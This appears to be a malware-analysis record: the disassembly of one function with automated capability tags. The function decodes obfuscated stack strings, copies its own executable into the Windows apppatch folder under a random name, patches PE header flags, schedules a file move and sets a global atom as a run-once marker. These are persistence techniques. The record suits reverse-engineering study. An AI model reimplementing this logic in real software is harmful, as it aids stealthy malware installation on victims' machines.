Function at 0x10002470
Capabilities:
Access pe header
Check if file exists
Contain obfuscated stackstrings
Copy file
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x338]
push eax
mov dword [ebp - 8], 0x6578652e
mov byte [ebp - 4], 0
mov dword [ebp - 0x2c], 0x7263694d
mov dword [ebp - 0x28], 0x666f736f
mov dword [ebp - 0x24], 0x73795374
mov dword [ebp - 0x20], 0x65746e65
mov dword [ebp - 0x1c], 0x74614772
mov word [ebp - 0x18], 0x3165
mov byte [ebp - 0x16], 0
mov dword [ebp - 0x14], 0x7070615c
mov dword [ebp - 0x10], 0x63746170
mov word [ebp - 0xc], 0x5c68
mov byte [ebp - 0xa], 0
call fcn.10001cec
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.1000205c
call fcn.10001248
xor eax, eax
mov cl, byte [eax + 0x100334f0]
mov byte [ebp + eax - 0x130], cl
inc eax
test cl, cl
jne 0x100024ef
push edi
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x100025da
push esi
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
lea eax, [ebp - 0x14]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000252a
lea edi, [ebp - 0x130]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000253a
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.10001712
mov esi, eax
and esi, 1
add esi, 6
xor edi, edi
test esi, esi
jle 0x1000257e
push 0x19
call fcn.10001712
add al, 0x61
mov byte [edi + 0x100376d0], al
inc edi
cmp edi, esi
jl 0x1000256a
mov eax, 0x100376d0
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002585
lea edi, [ebp - 0x130]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10002595
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 8]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100025b2
lea edi, [ebp - 0x130]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100025c4
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
mov cl, byte [ebp + eax - 0x130]
mov byte [ebp + eax - 0x234], cl
inc eax
test cl, cl
jne 0x100025dc
lea edi, [ebp - 0x234]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100025f6
push 1
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x338]
mov esi, 0x10006174
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
test eax, eax
je 0x100026c5
lea eax, [ebp - 0x130]
push eax
call section..text
lea eax, [ebp - 0x130]
push eax
call fcn.10001bd5
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x130]
push eax
call fcn.10001560
mov esi, eax
test esi, esi
je 0x1000267d
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
test eax, eax
je 0x10002676
mov ecx, 0xdfff
and word [eax + 0x16], cx
push esi
lea eax, [ebp - 0x130]
push eax
mov eax, dword [ebp - 8]
call fcn.10001512
push esi
call fcn.10001793
pop ecx
lea eax, [ebp - 0x130]
push eax
call fcn.10001c27
push 4
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
je 0x100026bb
call fcn.1000166d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
pop esi
leave
ret